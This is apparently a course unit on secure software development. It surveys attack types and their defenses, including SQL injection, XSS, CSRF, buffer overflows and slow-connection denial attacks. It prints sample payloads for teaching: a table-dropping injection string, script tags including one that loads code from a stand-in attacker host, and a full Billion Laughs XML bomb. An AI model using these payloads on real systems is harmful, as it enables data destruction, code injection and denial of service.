Secure Software Development

Be afraid. Be careful.

Unit Goals

To get a sense of what bad things can happen when you are just writing code.

What is Secure Software Development?

Secure Software Development the practice of writing software without vulnerabilities. The focus is on the software itself, not on administration. Administrative security is about configuring security groups, firewalls, managing credentials, using encryption, and instituting practices such as, oh, say, not doing everything as the root user.

The administrative stuff is incredibly important! But understanding how to write secure code is indispensible too. Know both!

A lot of secure software development comes down to ensuring that you don’t allow attackers to run their code on your system (e.g., through buffer overflows or failure to sanitize inputs) but there’s more. We’ll cover a little bit.

Warmup Reads

Here is an eclectic mix of references you should browse or read:

Types of Attacks

There are hundreds of known vulnerabilities and different ways to categorize them. But there are a few categories that are really good to know:

CategoryDescriptionExamples
InjectionGetting code on the victim’s system and getting the system to run it.SQL Injection, XSS
EnumerationFiguring out information, like user names, by making zillions of guesses and quickly checking which ones are right.User Enumeration
TimingFiguring out information based on how long it takes a system to respond to certain inputs.
DenialPreventing the victim’s system from running properly, either by flooding it with traffic (perhaps via amplification) or choking off legitimate traffic to itBillion Laughs, Fork Bomb, Slowloris, R.U.D.Y.
ForgeryTricking a user into doing something by the attacker pretending to be someone it is not.CSRF

Some are pretty low-level, in basic code itself, and some are related to networks, some to the the web.

Some Classic Attacks

Just sticking to a few classics here. These are vulnerabilities due to poorly written software, not due to poor administration practices and system misconfigurations.

SQL Injection

Code that accepts user input and manufactures a database query string with that user input is vulnerable and someone will find a way to mess you up. Let’s say some code is written like:

query = "select * from users where name='" + user_input + "';"

If user_input is Alice then the query is just:

select * from users where name='Alice';

But if the user sends in Robert';drop table students;-- the query becomes

select * from users where name='Robert';drop table students;--;'

Defend against this by using parameters, e.g., select * form users where name=? or avoid SQL and use a programmatic interface to your database, e.g. Users.select().filter_by('name', user_input). Both of these techniques will get the quotes correct. Don’t try to deal with the quotes yourself; just one mistake and it’s game over.

XSS

Cross-Site Scripting (XSS) is an injection attack where you get a browser to run your (potentially malicious) script (generally JavaScript code). While XSS is a family of attacks, the simplest one occurs when a site accepts user input and tries to render it in an HTML page. So let's say you have a web form:

Enter your name:  

If the code accepts the name and then attempts to render it in HTML, you might be okay:

Hello, Alice

but if some user enters <script>alert('XSS!!')</script>, then the browser sees, and tries to render:

<div style="greeting">Hello, <script>alert('XSS!!')</script></div>

and the script runs!

A simple alert is an annoyance, but you know, you can craft scripts that read your local storage, read your cookies, read some other things from the DOM.... So the thing attackers try to get in there is something like:

<script src="https://evil.example.com/nasty.js"></script>
Exercise: Do read and study Wikipedia’s XSS article. It has some detailed case studies, and mentions puppies!

User Enumeration

Here’s a short article.

Timing Attacks

Attackers can figure things out if for some inputs they get a response in a 1ms and for others it takes 100ms or so. You might need to artificially slow down error responses. See the Wikipedia article on timing attacks as they pertain to attacks on cryptosystems.

Billion Laughs

Here the attacker knows that the victim will be accepting XML input and will be parsing it. So the attacker sends this small payload:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "lollollollollollollollollollol">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

And there you go, the parser expands this to one billion lols, 3 GB of data.

XML is a bit of cesspool, really. You might be surprised at just how many ways there are to attack. (Those XXE, or XML External Entity, attacks account for a lot, so if you find yourself required to use XML, stay away from external entities. Those are bad news.)

CSRF

Cross-Site Request Forgery (CSRF) is an attack in which the attacker tricks a user into making a request on the attacker’s server using authentication credentials for another server (such as the user’s bank). The attacker now has the credentials and can so some serious damage to the victim’s account on the other server.

Buffer Overflow Attacks

Writing in C or C++? Be careful to NEVER copy more data into a buffer than the buffer has room for, and never fill that buffer with data from the outside. If you do, an attacker my be able to overrun your buffer and overwrite the return address of the currently executing function on the stack to point to, you guessed it, some malicious code, which might even be a command to open up a new shell, sometimes with root privileges.

Low and Slow Attacks

Low and slow attacks send traffic to a server painfully slowly, but just fast enough to avoid timeouts. A single client can open up tons of connections to a threaded webserver and really tie it all up; these are pretty hard to detect. Examples: Sockstress (during TCP 3-way handshake), R.U.D.Y. (HTTP POST), Slowloris (HTTP headers without any double CRLF).

Recent Popular Bugs and Attacks

Make sure to check out:

Practices

Administrative best practices include (but yes of course not limited to):

If you’re just a regular programmer, what kinds of things can you do, just in software, to stay safe?

Summary

We’ve covered:

  • What secure software development is
  • Types of attacks
  • Some classic attacks, and recent exploits in the news
  • Some best practices for security